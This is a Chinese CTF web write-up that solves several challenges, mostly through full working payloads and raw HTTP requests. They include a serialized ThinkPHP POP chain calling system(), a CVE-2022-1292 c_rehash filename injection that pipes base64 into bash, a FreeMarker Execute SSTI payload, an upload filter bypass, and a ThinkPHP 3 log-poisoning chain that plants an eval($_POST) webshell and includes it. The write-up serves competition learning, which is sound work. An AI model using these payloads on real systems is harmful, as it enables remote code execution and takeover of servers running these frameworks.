初赛部分
Ezpop
找到反序列化的路由,然后挑个链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php namespace think{ abstract class Model{ private $lazySave = false; private $data = []; private $exists = false; protected $table; private $withAttr = []; protected $json = []; protected $jsonAssoc = false; function __construct($obj = ''){ $this->lazySave = True; $this->data = ['whoami' => ['tac /flag.txt']]; $this->exists = True; $this->table = $obj; $this->withAttr = ['whoami' => ['system']]; $this->json = ['whoami',['whoami']]; $this->jsonAssoc = True; } } } namespace think\model{ use think\Model; class Pivot extends Model{ } }
namespace{ echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot())))); }
|
url: /index.php/index/test
post: a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A13%3A%22tac+%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
online_crt
c_rehash 存在漏洞 https://www.secrss.com/articles/42602 CVE-2022-1292
先通过 /getcrt 获取文件名
再通过 /proxy 访问 go 服务更改文件名为命令
最后通过 /createlink 调用 c_rehash 执行命令
考挺新的,好
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| GET /proxy HTTP/1.1 Host: xxx:8888 Content-Length: 316 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://xxx:8888 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://xxx:8888/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: __jsluid_h=47deb9dd4ec6dca0063283f9453e7643 Connection: close
uri=/admin/%25%37%32%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%3foldname%3d24950c68-7018-4cd7-97c9-239cf4ecd3a7.crt%26newname%3d`touch%2b\`echo%2bY2F0IC9mKgo=|base64%2b-d|bash\``.crt HTTP/1.1 Host: admin User-Agent: admin Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
|
分区赛部分
Identity
burp 抓包,返回的 header 中有 identity: GuessWhatThis1sY0urIdentity
将 identity=GuessWhatThis1sY0urIdentity 作为参数再次请求得到文件上传点 h1dden_p4ge.php
文件上传,文件名改大写 PHP 绕过,文件内容绕过用
1
| <script language="php">system('xxx')</script>
|
ezser
这题一开始想利用 CVE-2016-7124 绕过 __wakeup,但版本是 8.x 绕不过,于是改用引用来绕过 __wakeup
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php class A{ public $functions=[]; } class B{ private $a; private $b; public $c; function __construct() { $a = new A(); $this->a = &$a->functions; $this->b = array( "_name" => array( new C(), "getFlag" ) ); $this->c=$a; } } class C{ public function getFlag(){ echo 11111; } }
$b = new B(); echo "data=".urlencode(serialize($b)).PHP_EOL;
|
ezssti
试了下 2,报错看出是 java,于是找个 java 的 payload,居然通了…
payload: xxx/render?name=%3C%23assign%20value%3D%22freemarker.template.utility.Execute%22%3Fnew()%3E%24%7Bvalue(%22cat%20F1ag_is_h3re%22)%7D
eztp
首先,路由入口点 /?s=home/index/textBox
Application\Home\Controller\IndexController.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller { ...
public function textBox(){ $query = urldecode(I("post.query")); parse_str($query,$array); $this->assign("array",$array); $this->display(T("Home@default/list")); } }
|
Application\Home\View\default\list.html
1 2 3 4 5
| <form action="/?s=home/index/textBox" method="post"> <label>query</label><input type="text" size="10" maxlength="30" name="query"> <input type="submit" name="" value="submit"> </form> <textarea><?php echo W("Query/query",array("param"=>$array));?></textarea>
|
Application\Home\Widget\QueryWidget.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php
namespace Home\Widget;
class QueryWidget { public function query($text){
if(isset($text['name'])&&isset($text['id'])){ $info = B($text['name'],$text['tag'],$text['id']); return $info; }else{ var_dump($text); }
} }
|
ThinkPHP\Common\functions.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?
function B($name, $tag = '', &$params = null) { if ('' == $tag) { $name .= 'Behavior'; } return \Think\Hook::exec($name, $tag, $params); }
|
ThinkPHP\Library\Think\Hook.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <? class Hook{ ...
public static function exec($name, $tag, &$params = null) { if ('Behavior' == substr($name, -8)) { $tag = 'run'; } $addon = new $name(); return $addon->$tag($params); } ... }
|
这里的 name tag params 都是可控的,于是我们就可以实例化任意类并调用任意方法,恰好有这样一个类
ThinkPHP\Library\Think\Storage\Driver\File.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php
class File extends Storage{ ...
public function load($_filename, $vars = null) { if (!is_null($vars)) { extract($vars, EXTR_OVERWRITE); } include $_filename; } ... }
|
于是构造参数调用 Think\Storage\Driver\File->load 即可包含任意文件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /?s=home/index/textBox HTTP/1.1 Host: 172.16.30.176:58002 Content-Length: 105 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.16.30.176:58002 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.16.30.176:58002/?s=home/index/textBox Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
query=name%253D%255CThink%255CStorage%255CDriver%255CFile%2526id%253D%252Fetc%252Fpasswd%2526tag%253Dload
|
成功包含 /etc/passwd,于是找一个可以包含的可控文本文件。通过观察可以发现这个框架是有日志文件的,而且会把 E 函数的报错信息写入日志文件,搜索一个可以触发 E 函数报错且信息可控的类方法
ThinkPHP\Library\Org\Net\Http.class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <? namespace Org\Net;
class Http /** * 下载文件 * 可以指定下载显示的文件名,并自动发送相应的Header信息 * 如果指定了content参数,则下载该参数的内容 * @static * @access public * @param string $filename 下载文件名 * @param string $showname 下载显示的文件名 * @param string $content 下载的内容 * @param integer $expire 下载内容浏览器缓存时间 * @return void */ public static function download($filename, $showname = '', $content = '', $expire = 180) { if (is_file($filename)) { $length = filesize($filename); } elseif (is_file(UPLOAD_PATH . $filename)) { $filename = UPLOAD_PATH . $filename; $length = filesize($filename); } elseif ('' != $content) { $length = strlen($content); } else { E($filename . L('下载文件不存在!')); } if (empty($showname)) { $showname = $filename; } ...
|
于是我们就可以 getshell 了,先触发报错将 shell 写入日志,再文件包含日志文件
写 shell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /?s=home/index/textBox HTTP/1.1 Host: 172.16.30.176:58002 Content-Length: 143 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.16.30.176:58002 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.16.30.176:58002/?s=home/index/textBox Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
query=name%253DOrg%255CNet%255CHttp%2526id%253D%253C%253Fphp%2520%2540eval(%2524_POST%255Bpass%255D)%253B%2520%253F%253E%2526tag%253Ddownload
|
读 flag,这里的文件路径是先 ls 来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| POST /?s=home/index/textBox HTTP/1.1 Host: 172.16.30.176:58002 Content-Length: 188 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://172.16.30.176:58002 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://172.16.30.176:58002/?s=home/index/textBox Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
query=name%253D%255CThink%255CStorage%255CDriver%255CFile%2526id%253D.%252FApplication%252FRuntime%252FLogs%252FHome%252F22_06_18.log%2526tag%253Dload&pass=system('cat /Secret_is_h3re');
|
12 名止步分区赛